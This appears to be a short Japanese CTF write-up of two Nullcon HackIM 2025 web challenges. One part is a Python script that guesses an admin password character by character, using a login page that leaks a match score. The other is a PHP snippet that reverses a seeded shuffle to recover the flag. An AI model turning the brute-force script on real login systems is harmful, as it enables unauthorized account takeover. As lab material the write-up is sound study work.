Nullcon HackIM CTF Berlin 2025 Writeup

Nullcon HackIM CTF にソロで参加したので振り返り用の Writeup.
時間がなかったので Web 二問のみ

フラグ形式

ENO{}
        

Null Sanity

grandmas_notes

import requests
import string
import time

def admin_sql_check(url, passwd):
    payload = {"username": "admin", "password": passwd}
    resp = requests.post(url, data=payload)
    
    if resp.url.split("/")[-1].split(".")[0] != "index":
        print("true password is", passwd)
        exit()
    
    
    lines = resp.text.split("\n")
    for line in lines:
        if "correct!" in line:
            print(line)
            tmp_score = int(line.split()[6])
            return tmp_score
        
    return 0

login_url = "http://52.59.124.14:5015/login.php"


correct_pass = ""

for i in range(16):
    found_flag = 0
    for char in string.printable:
        time.sleep(0.1)
        score = admin_sql_check(login_url, correct_pass+char)
        if score > len(correct_pass):
            correct_pass += char
            found_flag = 1
            print(correct_pass)
            break
    
    if found_flag == 0:
        print("not found")
        break
        

pwgen

<?php
function get_shuffle_order($length, $seed) {
    $original = '';
    for ($i = 0; $i < $length; $i++) {
        $original .= chr($i + 33); // create unique character
    }

    srand($seed);
    $shuffled = str_shuffle($original);

    // shuffle to order
    $order = [];
    for ($pos = 0; $pos < $length; $pos++) {
        $char = $shuffled[$pos];
        $order[$pos] = ord($char) - 33;
    }

    return $order;
}

$seed = 0x1337;
$length = 130;
$order_arr = get_shuffle_order($length, $seed);
$FLAG_shuffled = '7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154';
$original = array_fill(0, $length, '');
for ($pos = 0; $pos < $length; $pos++) {
    $original[$order_arr[$pos]] = $FLAG_shuffled[$pos];
}

echo implode('', $original);
?>